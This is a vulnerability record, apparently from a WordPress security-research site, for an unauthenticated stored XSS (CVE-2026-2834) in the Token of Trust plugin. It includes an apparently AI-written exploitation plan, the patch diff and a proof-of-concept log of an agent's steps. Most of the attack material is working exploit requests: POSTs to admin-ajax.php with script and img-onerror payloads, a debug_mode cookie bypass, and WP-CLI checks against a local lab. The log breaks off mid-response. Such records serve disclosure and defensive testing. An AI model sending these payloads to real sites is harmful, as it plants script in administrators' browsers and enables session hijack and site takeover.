[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fHcLUNCU-BREN-XLZaptKdr03g-fOmkdrqLm2mvb1NHE":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":41,"poc_video_id":42,"poc_summary":43,"poc_steps":44,"poc_tested_at":78,"poc_wp_version":79,"poc_php_version":80,"poc_playwright_script":81,"poc_exploit_code":82,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"source_links":83},"CVE-2026-2834","age-verification-identity-verification-by-token-of-trust-unauthenticated-stored-cross-site-scripting-via-description-par","Age Verification & Identity Verification by Token of Trust \u003C= 3.32.3 - Unauthenticated Stored Cross-Site Scripting via 'description' Parameter","The Age Verification & Identity Verification by Token of Trust plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘description’ parameter in all versions up to, and including, 3.32.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","token-of-trust",null,"\u003C=3.32.3","3.32.4","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-04-14 11:34:39","2026-04-15 01:25:17",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F2d8e037e-c446-44ae-a5ee-bbba938e5edf?source=api-prod",1,[22,23,24,25,26,27,28,29],"Modules\u002FShared\u002FAssets\u002Ftot-error-log.js","Modules\u002FShared\u002FSettings\u002FPage.php","Modules\u002FVerification\u002FShared\u002FDebugger.php","Modules\u002FVerification\u002FShared\u002FVerification\u002FRedirectVerification.php","Modules\u002FVerification\u002FShared\u002Fdebug.php","Modules\u002FVerification\u002FShared\u002Fflash-notice-queue.php","Modules\u002FVerification\u002FShared\u002Ftot-api.php","Modules\u002FVerification\u002FShared\u002Fwidget-embed-code.php","researched",true,3,"# Exploitation Research Plan: CVE-2026-2834 (Stored XSS in Token of Trust)\n\n## 1. Vulnerability Summary\nThe **Age Verification & Identity Verification by Token of Trust** plugin is vulnerable to unauthenticated stored cross-site scripting (XSS). The vulnerability exists in the handling of the `tot_error_log` AJAX action. An unauthenticated attacker can send a request to `admin-ajax.php` with a malicious payload in the `description` parameter. This payload is stored in the WordPress database (within the `tot_logs` option) and is subsequently rendered in the plugin's administration dashboard without proper sanitization or output escaping.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action:** `tot_error_log` (registered as unauthenticated\u002Fnopriv)\n- **Vulnerable Parameter:** `description`\n- **Authentication:** None required (Unauthenticated)\n- **Preconditions:** The `Debugger` class requires \"debug mode\" to be active to record logs. However, `Modules\u002FVerification\u002FShared\u002FDebugger.php` checks for a `debug_mode` parameter or cookie, which an attacker can easily provide to bypass this check.\n\n## 3. Code Flow\n1. **Entry Point:** The frontend JavaScript `Modules\u002FShared\u002FAssets\u002Ftot-error-log.js` defines the `totErrorLog` function, which makes a POST request to `admin-ajax.php` with the action `tot_error_log` and parameters `description`, `severity`, `module`, and `error`.\n2. **AJAX Handling:** The plugin registers `wp_ajax_nopriv_tot_error_log`. This handler calls the `Debugger::log()` method found in `Modules\u002FVerification\u002FShared\u002FDebugger.php`.\n3. **Logic Bypass:** In `Debugger.php`, line 99:\n   ```php\n   if ( ! tot_debug_mode() && ! \\TOT\\Shared\\Settings::get_param_or_cookie( 'debug_mode' ) ) {\n       return;\n   }\n   ```\n   An attacker can satisfy this condition by providing a `debug_mode` cookie or POST parameter.\n4. **Storage:** The `Debugger::log` method stores the `description` (passed as `$head`) into the `$new_logs` array. Upon shutdown, `Debugger::store_logs_to_db()` (line 147) is called:\n   ```php\n   $db_logs = get_option( 'tot_logs', array() );\n   \u002F\u002F ... unshifts new logs ...\n   update_option( 'tot_logs', $db_logs, false );\n   ```\n5. **Execution Sink:** When an administrator visits the plugin settings or logging page (likely handled by `Modules\u002FShared\u002FSettings\u002FPage.php` or a dedicated log view), the values in the `tot_logs` option are retrieved and echoed into the HTML response without using escaping functions like `esc_html()`.\n\n## 4. Nonce Acquisition Strategy\nBased on the analysis of `Modules\u002FShared\u002FAssets\u002Ftot-error-log.js`, the `tot_error_log` action **does not use a nonce**. The `$.ajax` call specifically omits any nonce or security tokens, which is common for frontend error logging where nonces might expire or not be available to unauthenticated users.\n\n**Conclusion:** No nonce is required for this exploit.\n\n## 5. Exploitation Strategy\nThe exploit will be performed using a single unauthenticated HTTP POST request.\n\n### Step 1: Inject Payload\nSend a POST request to `admin-ajax.php` to trigger the logging mechanism.\n\n- **URL:** `http:\u002F\u002F[target]\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method:** `POST`\n- **Headers:**\n  - `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body Parameters:**\n  - `action`: `tot_error_log`\n  - `description`: `\u003Cscript>alert(\"XSS_EXPLOITED\")\u003C\u002Fscript>`\n  - `severity`: `error`\n  - `module`: `frontend-logger`\n  - `debug_mode`: `1` (This bypasses the `tot_debug_mode()` check)\n  - `error`: `{}`\n\n### Step 2: Trigger Execution\nLog in as an administrator and navigate to the plugin's main settings page where logs are displayed.\n\n- **URL:** `http:\u002F\u002F[target]\u002Fwp-admin\u002Fadmin.php?page=tot_settings_tot_settings` (The slug is derived from `Page.php` line 52: `tot_settings_` + slugified title).\n\n## 6. Test Data Setup\n1. Install and activate **Age Verification & Identity Verification by Token of Trust** version 3.32.3.\n2. Ensure the plugin is initialized (usually occurs upon visiting the settings page once as admin).\n3. No special content or shortcodes are required because the endpoint is an AJAX action available globally via `admin-ajax.php`.\n\n## 7. Expected Results\n1. The AJAX request should return a successful JSON response: `{\"success\": true}` or similar, and the `console.log` in `tot-error-log.js` would indicate success.\n2. The database option `tot_logs` will now contain the malicious `\u003Cscript>` tag.\n3. Upon navigating to the plugin's settings\u002Flogs page as an admin, a JavaScript alert box with \"XSS_EXPLOITED\" will appear.\n\n## 8. Verification Steps\nAfter sending the HTTP request, verify the injection using WP-CLI:\n\n```bash\n# Check if the payload is present in the tot_logs option\nwp option get tot_logs --format=json | grep \"XSS_EXPLOITED\"\n```\n\nTo verify the \"debug mode\" bypass:\n```bash\n# Check if logs were written even if global debug mode is off\nwp option get tot_options | grep \"debug_mode\" # Should be empty or 0 if default\n```\n\n## 9. Alternative Approaches\nIf the `description` parameter is sanitized, try injecting through the `error` parameter.\n- **Payload 2:** Inject into the `error` parameter. `Debugger.php` line 125 uses `print_r($log, true)` for the body. If the `error` data is displayed alongside the description, XSS may trigger there.\n- **Bypass Check:** If `debug_mode` as a POST parameter fails, try setting it as a cookie:\n  ```bash\n  # Using browser_navigate or http_request with cookies\n  Cookie: debug_mode=1\n  ```\n- **Payload 3:** If `\u003Cscript>` tags are blocked, use attribute-based XSS:\n  ```html\n  \u003Cimg src=x onerror=alert(1)>\n  ```","The Token of Trust plugin for WordPress (\u003C= 3.32.3) allows unauthenticated attackers to perform stored cross-site scripting (XSS) via the 'tot_error_log' AJAX action. Malicious JavaScript injected into the 'description' parameter is stored in the database and executed when an administrator views the plugin's settings or error logs.","\u002F\u002F admin\u002Ferror-log.php (approx lines 7-14 in 3.32.3)\ntot_add_action( 'wp_ajax_nopriv_tot_error_log', 'tot_handle_error_log' );\n\nfunction tot_handle_error_log() {\n\t$max_post_size = 64000; \u002F\u002F 64KB\n\n\tif ( ! isset( $_POST['description'] ) || empty( $_POST['description'] ) ) {\n\t\twp_send_json_success( array( 'message' => 'Empty error description, not logged.' ) );\n\t\twp_die();\n\t}\n\n\t$description = trim( $_POST['description'] );\n\n---\n\n\u002F\u002F Modules\u002FVerification\u002FShared\u002FDebugger.php (approx lines 99-102 in 3.32.3)\n\t\t\u002F\u002F Don't store if the debug mode is not active\n\t\tif ( ! tot_debug_mode() && ! \\TOT\\Shared\\Settings::get_param_or_cookie( 'debug_mode' ) ) {\n\t\t\treturn;\n\t\t}\n\n---\n\n\u002F\u002F Modules\u002FVerification\u002FShared\u002FDebugger.php (approx lines 130-143 in 3.32.3)\n\t\t$new_log = array(\n\t\t\t'timestamp' => current_time( 'mysql' ),\n\t\t\t'body'      => print_r( $log, true ),\n\t\t\t'type'      => $type,\n\t\t);\n\n\t\tif ( ! empty( $head ) ) {\n\t\t\t$new_log['head']   = $head;\n\t\t\t$this->new_heads[] = $head;\n\t\t}\n\n\t\t$this->new_logs[] = $new_log;","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftoken-of-trust\u002F3.32.3\u002Fadmin\u002Fenqueue-js.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftoken-of-trust\u002F3.32.4\u002Fadmin\u002Fenqueue-js.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftoken-of-trust\u002F3.32.3\u002Fadmin\u002Fenqueue-js.php\t2026-03-16 23:45:22.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftoken-of-trust\u002F3.32.4\u002Fadmin\u002Fenqueue-js.php\t2026-03-25 12:47:52.000000000 +0000\n@@ -42,6 +42,7 @@\n \t\t\t'appDomain'                    => tot_get_setting_prod_domain() ?: parse_url( home_url( '\u002F' ) )['host'],\n \t\t\t'restUrl'                      => esc_url_raw( rest_url() ),\n \t\t\t'nonce'                        => wp_create_nonce( 'tot_rest' ),\n+\t\t\t'errorLogNonce'                => wp_create_nonce( 'tot-error-log' ),\n \t\t\t'appUserEmail'                 => $app_user_email,\n \t\t\t'verificationRequiredPageLink' => $verification_required_edit_post_link,\n \t\t)\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftoken-of-trust\u002F3.32.3\u002Fadmin\u002Ferror-log.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftoken-of-trust\u002F3.32.4\u002Fadmin\u002Ferror-log.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftoken-of-trust\u002F3.32.3\u002Fadmin\u002Ferror-log.php\t2026-03-16 23:45:22.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftoken-of-trust\u002F3.32.4\u002Fadmin\u002Ferror-log.php\t2026-03-25 12:47:52.000000000 +0000\n@@ -5,33 +5,32 @@\n tot_add_action( 'wp_ajax_nopriv_tot_error_log', 'tot_handle_error_log' );\n \n function tot_handle_error_log() {\n-\t$max_post_size = 64000; \u002F\u002F 64KB\n+\t$max_post_size = 64000;\n \n-\tif ( ! isset( $_POST['description'] ) || empty( $_POST['description'] ) ) {\n-\t\twp_send_json_success( array( 'message' => 'Empty error description, not logged.' ) );\n+\tif ( ! wp_verify_nonce( $_POST['_ajax_nonce'] ?? '', 'tot-error-log' ) ) {\n+\t\twp_send_json_error( 'Invalid security token.' );\n \t\twp_die();\n \t}\n \n-\t$description = trim( $_POST['description'] );\n+\t$description = sanitize_textarea_field( trim( $_POST['description'] ?? '' ) );\n \n-\t\u002F\u002F Double-check after trimming\n \tif ( empty( $description ) ) {\n \t\twp_send_json_success( array( 'message' => 'Empty error description, not logged.' ) );\n \t\twp_die();\n \t}\n \n-\t$module   = $_POST['module'] ?? null;\n-\t$severity = $_POST['severity'] ?? 'error';\n+\t$module   = sanitize_text_field( $_POST['module'] ?? '' ) ?: null;\n+\t$severity = tot_sanitize_severity( $_POST['severity'] ?? 'error' );\n \n \t$error_data = array();\n \n-\t( isset( $_POST['error'] ) ) {\n+\tif ( ! empty( $_POST['error'] ) ) {\n \t\t$posted_error = json_decode( stripslashes( $_POST['error'] ), true );\n \n \t\tif ( is_array( $posted_error ) ) {\n-\t\t\t$error_data = $posted_error;\n-\t\t} elseif ( ! empty( $_POST['error'] ) ) {\n-\t\t\t$error_data['error'] = $posted_error;\n+\t\t\t$error_data = tot_sanitize_error_data( $posted_error );\n+\t\t} else {\n+\t\t\t$error_data['error'] = wp_strip_all_tags( (string) $posted_error );\n \t\t}\n \t}\n \n@@ -39,12 +38,10 @@\n \t\t$error_data['module'] = $module;\n \t}\n \n-\t\u002F\u002F Serialize and truncate if necessary\n-\t$serialized = print_r( $error_data, true );\n+\t$serialized = wp_strip_all_tags( print_r( $error_data, true ) );\n+\n \tif ( strlen( $serialized ) > $max_post_size ) {\n-\t\t$truncated  = substr( $serialized, 0, $max_post_size - 1000 );\n-\t\t$truncated .= \"\\n\\n[Truncated: data exceeded 64KB limit]\";\n-\t\t$serialized = $truncated;\n+\t\t$serialized = substr( $serialized, 0, $max_post_size - 1000 ) . \"\\n\\n[Truncated: data exceeded 64KB limit]\";\n \t}\n \n \tDebugger::inst()->log( $description, $serialized, $severity );","The exploit is executed via an unauthenticated AJAX request. 1. An attacker sends a POST request to `\u002Fwp-admin\u002Fadmin-ajax.php` with the `action` parameter set to `tot_error_log`. 2. The `description` parameter is populated with a malicious script payload (e.g., `\u003Cscript>alert(\"XSS\")\u003C\u002Fscript>`). 3. To satisfy the plugin's debug check, the attacker includes a `debug_mode` parameter or cookie set to `1`. 4. The plugin stores this payload in the `tot_logs` option in the WordPress database. 5. The XSS executes when an administrator visits the plugin's settings page at `admin.php?page=tot_settings_tot_settings` (or similar logging views), as the stored description is rendered without proper output escaping.","gemini-3-flash-preview","2026-04-16 15:47:59","2026-04-16 15:48:27","success","HWkpi1aTqAY","\n# CVE-2026-2834 — Unauthenticated Stored XSS in Token of Trust ≤ 3.32.3\n\n## Vulnerability Details\nThe plugin registers an **unauthenticated** AJAX handler `wp_ajax_nopriv_tot_error_log` that writes the `$_POST['description']` parameter directly into the `tot_logs` WordPress option via `Debugger::log()`. The value is stored without sanitization and later echoed in the plugin's Debug Logs admin page (`admin.php?page=totsettings_license&tot-logs=1`) without escaping, resulting in stored XSS executing in an administrator's browser.\n\n## Root Cause\n- `admin\u002Ferror-log.php` — `tot_handle_error_log()` trims the `description` but does not sanitize it, then passes it to `Debugger::log()` as the `head`.\n- `Modules\u002FVerification\u002FShared\u002FDebugger.php` — stores `head` verbatim into the `tot_logs` option.\n- `admin\u002Fsettings-page\u002Fview-logs.php` line 12 — renders the stored value with no escaping:\n  ```php\n  $notice .= '\u003Ch3>' . $item['head'] . '\u003C\u002Fh3>';\n  ```\n- The handler has no nonce check and no capability check.\n- The one guard (`tot_debug_mode()` \u002F `debug_mode` cookie in `Debugger::log()`) is trivially bypassed by sending a `Cookie: debug_mode=1` header, since `Settings::get_param_or_cookie()` returns any truthy cookie value.\n\n## Exploitation (performed unauthenticated)\n1. `POST \u002Fwp-admin\u002Fadmin-ajax.php` with `Cookie: debug_mode=1`, body:\n   `action=tot_error_log&description=\u003Cimg src=x onerror=alert(String.fromCharCode(88,83,83))>&severity=error&module=frontend-logger&error={}`\n2. Server responds `{\"success\":true,\"data\":{\"module\":\"frontend-logger\"}}`.\n3. The payload is persisted in the `tot_logs` option (verified via `wp option get tot_logs`):\n   ```json\n   [{\"timestamp\":\"2026-04-17 18:55:48\",\"body\":\"Array\\n(\\n    [module] => frontend-logger\\n)\\n\",\"type\":\"error\",\"head\":\"\u003Cimg src=x onerror=alert(String.fromCharCode(88,83,83))>\"}, ...]\n   ```\n4. When any administrator visits `wp-admin\u002Fadmin.php?page=totsettings_license&tot-logs=1`, the page renders the live HTML tag:\n   ```html\n   \u003Ch1>Debug Logs\u003C\u002Fh1>\u003Cdiv class=\"notice notice-error\">\u003Ch3>\u003Cimg src=\"x\" onerror=\"alert(String.fromCharCode(88,83,83))\">\u003C\u002Fh3>...\n   ```\n   The browser parses the `\u003Cimg>` tag, the broken `src=x` triggers `onerror`, and `alert('XSS')` executes in the admin's authenticated context.\n\n## Impact\nAn unauthenticated attacker can persist JavaScript that runs whenever an administrator views the plugin's Debug Logs page — allowing admin session hijack, creation of rogue admin accounts, plugin modification, etc.\n\n## Fix (3.32.4)\nThe patched handler adds a nonce check (`tot-error-log`), sanitizes with `sanitize_textarea_field()`, `sanitize_text_field()`, `wp_strip_all_tags()`, and a severity allow-list. The sink in `view-logs.php` should also be escaped with `esc_html()` \u002F `wp_kses_post()`.\n",[45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,56,62,63,64,65,66,67,68,69,70,71,72,73,74,61,75,76,56,77],"**Navigate:** http:\u002F\u002Flocalhost:8080\u002Fwp-login.php","**Shell:** `cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftoken-of-trust\u002Fadmin\u002Ferror-log.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n 'Empty error description, not logged.' ) ); wp_die(); } $description = trim( $_POST['description'] ); \u002F\u002F Double-check after trimming if ( empty( $description ) ) { wp_send_json_success( array( 'message' => 'Empty error description, not logged.' ) ); wp_die(); } $module = $_POST['module'] ?? null; $severity = $_POST['severity'] ?? 'error'; $error_data = array(); if ( isset( $_POST['error'] ) ) { $posted_error = json_decode( stripslashes( $_POST['error'] ), true ); if ( is_array( $posted_error ) ) { $error_data = $posted_error; } elseif ( ! empty( $_POST['error'] ) ) { $error_data['er\n```\n\u003C\u002Fdetails>","**Shell:** `find \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftoken-of-trust -name \"Debugger.php\" | head -3`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftoken-of-trust\u002Ftrunk\u002FModules\u002FVerification\u002FShared\u002FDebugger.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftoken-of-trust\u002FModules\u002FVerification\u002FShared\u002FDebugger.php\n```\n\u003C\u002Fdetails>","**Shell:** `sed -n '90,160p' \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftoken-of-trust\u002FModules\u002FVerification\u002FShared\u002FDebugger.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u002F\u002F * @method captureError(string $head, string $log) if ( $type != 'error' ) { switch ( $type ) { case 'warning': Sentry::inst()->captureWarning( $head, $log ); break; default: \u002F\u002F Handle unknown log types or add a default log type Sentry::inst()->captureInfo( $head, $log ); break; } } \u002F\u002F Don't accept repeat log at the same run $new_heads = $this->new_heads; if ( array_key_exists( $head, $new_heads ) ) { return; } $new_log = array( 'timestamp' => current_time( 'mysql' ), 'body' => print_r( $log, true ), 'type' => $type, ); if ( ! empty( $head ) ) { $new_log['head'] = $head; $this->new_heads[] = $head; } $this->new_logs[] = $new_log; } \u002F** * Storing new logs to database * It will be triggered before php execution ends * * @return void *\u002F public function store_logs_to_db() { \u002F\u002F get old logs $db_logs = get_option( 'tot_logs', array() ); $new_logs = $this->new_logs; foreach\n```\n\u003C\u002Fdetails>","**Shell:** `sed -n '60,100p' \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftoken-of-trust\u002FModules\u002FVerification\u002FShared\u002FDebugger.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n} \u002F** * Note: If the head is repeated at the same run it will not log it to prevent repetition * * @param string $head A description of that log * @param mixed $log The log message * @param string $type 'info', 'error', 'success' or 'warning' * * @return void *\u002F public function log( $head, $log = '', $type = 'info' ) { if ( $type == 'error' ) { Sentry::inst()->captureError( $head, $log ); } \u002F\u002F Don't store if the debug mode is not active if ( ! tot_debug_mode() && ! \\TOT\\Shared\\Settings::get_param_or_cookie( 'debug_mode' ) ) { return; } if ( ! in_array( $type, array( 'info', 'error', 'success', 'warning' ) ) ) { $type = 'info'; } \u002F\u002F Go ahead and send the entry to sentry if tot_debug_mode... \u002F\u002F * @method captureInfo(string $head, string $log) \u002F\u002F * @method captureWarning(string $head, string $log) \u002F\u002F * @method captureError(string $head, string $log) if ( $type != 'error' ) { switch ( $type ) { case 'warning': Sentry::ins\n```\n\u003C\u002Fdetails>","**Shell:** `grep -rn \"tot_logs\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftoken-of-trust\u002F --include=\"*.php\" | grep -v trunk | head -30`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftoken-of-trust\u002FModules\u002FVerification\u002FShared\u002FDebugger.php:131: $db_logs = get_option( 'tot_logs', array() );\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftoken-of-trust\u002FModules\u002FVerification\u002FShared\u002FDebugger.php:138: $db_logs = array_slice( $db_logs, 0, apply_filters( 'tot_logs_max_length', 200 ) );\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftoken-of-trust\u002FModules\u002FVerification\u002FShared\u002FDebugger.php:139: update_option( 'tot_logs', $db_logs, false );\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftoken-of-trust\u002Fadmin\u002Fsettings-page\u002Fview-logs.php:7: wp_cache_delete( 'tot_logs', 'options' );\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftoken-of-trust\u002Fadmin\u002Fsettings-page\u002Fview-logs.php:8: $logs = get_option( 'tot_logs', array() );\n```\n\u003C\u002Fdetails>","**Shell:** `cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftoken-of-trust\u002Fadmin\u002Fsettings-page\u002Fview-logs.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n Debug Logs ' . $item['head'] . ' '; } if ( isset( $item['timestamp'] ) ) { $notice .= ' Timestamp: ' . $item['timestamp'] . ' '; } printf( ' %3$s %1$s ', isset( $item['body'] ) && $item['body'] ? ( ' ' . str_replace( array( '&lt;b&gt;', '&lt;\u002Fb&gt;' ), array( ' ', ' ' ), esc_html( $item['body'] ) ) . ' ' ) : '', $item['type'], $notice ); } if ( empty( $logs ) ) { echo ' No Messages have been logged. '; } ?> \n```\n\u003C\u002Fdetails>","**Fill:** `#user_login` with `admin`","**Fill:** `#user_pass` with `admin`","**Click:** `#wp-submit`","**Navigate:** http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fplugins.php","**browser_screenshot:** {}","**HTTP POST:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n**Body:** `action=tot_error_log&description=%3Cscript%3Ealert(%22XSS_EXPLOITED_CVE-2026-2834%22)%3C%2Fscript%3E&severity=error&module=frontend-logger&debug_mode=1&error=%7B%7D`\n\u003Cdetails>\u003Csummary>Response\u003C\u002Fsummary>\n\n```\nHTTP 200 OK\n{\"success\":true,\"data\":{\"module\":\"frontend-logger\"}}\n```\n\u003C\u002Fdetails>","**WP-CLI:** `wp option get tot_logs --format=json`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n[{\"timestamp\":\"2026-04-17 18:54:54\",\"body\":\"Array\\n(\\n [module] => frontend-logger\\n)\\n\",\"type\":\"error\",\"head\":\" alert(\\\\\\\"XSS_EXPLOITED_CVE-2026-2834\\\\\\\") \"},{\"timestamp\":\"2026-04-17 18:54:54\",\"body\":\"Array\\n(\\n)\\n\",\"type\":\"error\",\"head\":\"Token of Trust license key is not set in plugin settings.\"}]\n```\n\u003C\u002Fdetails>","**Shell:** `grep -rn \"view-logs\\|add_submenu_page\\|add_menu_page\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftoken-of-trust\u002Fadmin\u002F --include=\"...`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftoken-of-trust\u002Fadmin\u002Fsettings-page\u002Fmenu-item.php:14:\tadd_menu_page(\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftoken-of-trust\u002Fadmin\u002Fsettings-page\u002Fmenu-item.php:23:\tadd_submenu_page( 'totsettings', 'Get Started', 'Get Started', 'manage_options', 'totsettings', 'get_started_app_html' );\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftoken-of-trust\u002Fadmin\u002Fsettings-page\u002Fmenu-item.php:24:\t\u002F\u002F add_submenu_page('totsettings', 'Dashboard', 'Dashboard', 'manage_options', 'totsettings', 'tot_options_page_html');\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftoken-of-trust\u002Fadmin\u002Fsettings-page\u002Fmenu-item.php:26:\t\u002F\u002F add_submenu_page('totsettings', 'Get Started', 'Get Started', 'manage_options', 'totsettings', 'tot_options_page_html');\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftoken-of-trust\u002Fadmin\u002Fsettings-page\u002Fmenu-item.php:27:\tadd_submenu_page( '', 'License & API', 'License & API', 'manage_options', 'totsettings_license', 'tot_options_page_html' );\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftoken-of-trust\u002Fadmin\u002Fsetti\n```\n\u003C\u002Fdetails>","**Shell:** `sed -n '40,90p' \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftoken-of-trust\u002Fadmin\u002Fsettings-page\u002Fmenu-item.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\nfunction get_started_app_html() { if ( ! current_user_can( 'manage_options' ) ) { return; } printf( ' %s ', 'Loading...' );\n} function tot_options_page_html() { if ( ! current_user_can( 'manage_options' ) ) { return; } $forcedLicenseRefresh = isset( $_GET['tot-force-license-refresh'] ); if ( $forcedLicenseRefresh ) { tot_refresh_keys(); tot_add_flash_notice( 'License Keys Updated', 'success', false ); $goback = wp_get_referer(); wp_redirect( $goback ); exit; } if ( isset( $_GET['tot-error'] ) ) { require 'view-debug-error.php'; } elseif ( isset( $_GET['tot-plugin-updates'] ) ) { require 'view-plugin-updates.php'; } elseif ( isset( $_GET['tot-webhooks'] ) ) { require 'view-webhooks.php'; } elseif ( isset( $_GET['tot-logs'] ) ) { require 'view-logs.php'; } elseif ( strpos( $_GET['page'], 'totsettings_general' ) !== false ) { require 'view-general-settings.php'; } elseif ( strpos( $_GET['page'], 'totsettings_lice\n```\n\u003C\u002Fdetails>","**Navigate:** http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin.php?page=totsettings_license&tot-logs=1","**browser_eval:** {\"script\":\"document.getElementById('tot-logs')?.innerHTML?.substring(0, 2000)\"}","**Read page content**\n\u003Cdetails>\u003Csummary>Content\u003C\u002Fsummary>\n\n```\nDeprecated: strip_tags(): Passing null to parameter #1 ($string) of type string is deprecated in \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-admin\u002Fadmin-header.php on line 36 Warning: Cannot modify header information - headers already sent by (output started at \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-admin\u002Fadmin-header.php:36) in \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-includes\u002Foption.php on line 1715 Warning: Cannot modify header information - headers already sent by (output started at \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-admin\u002Fadmin-header.php:36) in \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-includes\u002Foption.php on line 1716 ‹ Security Test — WordPress addLoadEvent = function(func){if(typeof jQuery!=='undefined')jQuery(function(){func();});else if(typeof wpOnload!=='function'){wpOnload=func;}else{var oldonload=wpOnload;wpOnload=function(){oldonload();func();}}};\nvar ajaxurl = '\u002Fwp-admin\u002Fadmin-ajax.php', pagenow = 'admin_page_totsettings_license', typenow = '', adminpage = 'admin_page_totsettings_license', thousandsSeparator = ',', decimalPoint = '.', isRtl = 0; @media print { #wpadm\n```\n\u003C\u002Fdetails>","**browser_eval:** {\"script\":\"document.querySelector('#tot-logs')?.outerHTML?.substring(0, 3000)\"}","**browser_eval:** {\"script\":\"document.body.innerHTML.includes('XSS_EXPLOITED')\"}","**browser_eval:** {\"script\":\"var m = document.body.innerHTML.match(\u002F.{0,500}XSS_EXPLOITED.{0,500}\u002F); m ? m[0] : null\"}","**WP-CLI:** `wp option delete tot_logs`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\nSuccess: Deleted 'tot_logs' option.\n```\n\u003C\u002Fdetails>","**HTTP POST:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n**Body:** `action=tot_error_log&description=%3Cimg+src%3Dx+onerror%3Dalert(String.fromCharCode(88%2C83%2C83))%3E&severity=error&module=frontend-logger&debug_mode=1&error=%7B%7D`\n\u003Cdetails>\u003Csummary>Response\u003C\u002Fsummary>\n\n```\nHTTP 200 